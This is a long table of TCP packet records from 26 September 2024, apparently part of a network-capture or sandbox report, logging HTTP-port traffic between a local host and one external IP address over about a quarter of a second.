Sep 26, 2024 15:11:18.366358995 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366367102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366384029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366398096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366413116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366415977 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366416931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366463900 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366512060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366528988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366543055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366662979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366683006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366689920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366691113 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366699934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366718054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366723061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366734028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366785049 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366822004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366836071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366851091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366866112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366879940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366894960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366906881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366906881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366910934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366934061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366969109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366977930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366993904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367063046 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367085934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367103100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367124081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367140055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367155075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367170095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367186069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367193937 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367193937 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367202044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367221117 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367244005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367328882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367346048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367362022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367376089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367403030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367412090 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367458105 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367459059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367475033 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367522001 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367646933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367662907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367677927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367692947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367707968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367722988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367739916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367753983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367769003 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367784023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367798090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367815018 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367830038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.367883921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368005991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368021011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368036032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368051052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368066072 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368091106 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368105888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368124962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368144035 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368158102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368165970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368165970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368165970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368273973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368290901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368305922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368330956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368346930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368361950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368376970 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368391991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368408918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368426085 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368438005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368438005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368438005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368438005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368494034 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368494034 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.368568897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368588924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.368721008 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.413647890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413726091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413778067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413811922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413846016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413877964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413912058 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.413923025 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.413923025 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.413945913 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.414108038 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452598095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452629089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452641010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452652931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452666044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452677965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452694893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452718973 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452759981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452773094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452785969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452796936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452814102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452826023 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452826023 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452867031 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452888966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452900887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452913046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452924967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452934980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.452996016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.452996016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453059912 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453072071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453083992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453094006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453105927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453171968 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453171968 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453190088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453201056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453213930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453248978 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453315020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453329086 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453340054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453351974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453362942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453380108 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453412056 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453455925 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453469992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453480959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453497887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453511953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453524113 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453536987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453546047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453583956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453583956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453583956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453583956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453663111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453675985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453686953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453758955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453785896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453798056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453804016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453809977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453815937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453856945 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.453975916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.453988075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454000950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454016924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454030037 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454041004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454052925 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454060078 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454060078 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454063892 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454082012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454186916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454197884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454214096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454247952 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454247952 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454247952 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454267025 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454298973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454310894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454322100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454330921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454341888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454354048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454365015 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454377890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454380035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454380035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454443932 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454443932 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454489946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454502106 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454514980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454524040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454582930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454582930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454705000 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454716921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454727888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454739094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454751968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454762936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454773903 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454783916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454796076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454807997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454813004 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454813957 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454813957 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454823971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454864979 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454864979 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.454978943 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.454992056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455003977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455015898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455029964 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455070019 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455138922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455149889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455156088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455168962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455179930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455190897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455208063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455301046 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455301046 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455301046 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455315113 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455331087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455342054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455498934 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455533028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455545902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455558062 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455569029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455579996 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455590963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455600023 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455602884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455615044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455615044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455630064 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455641985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455653906 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455667019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455678940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455681086 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455681086 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455689907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455693960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455703020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455714941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455725908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455749989 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455749989 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455759048 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.455933094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455945969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.455956936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.456027985 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.501028061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501043081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501066923 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501080036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501094103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501143932 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.501143932 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.501147985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501162052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501174927 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.501176119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.501228094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540097952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540154934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540190935 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540224075 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540242910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540313005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540323973 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540348053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540381908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540420055 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540446997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540479898 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540520906 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540555000 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540587902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540589094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540617943 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540647030 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540669918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540704012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540752888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540790081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540822029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540838003 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540855885 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540893078 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540926933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.540936947 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540936947 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.540977955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541014910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541049004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541081905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541114092 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541140079 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541146994 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541182041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541183949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541220903 CEST	80	49732	172.86.66.70	192.168.2.12
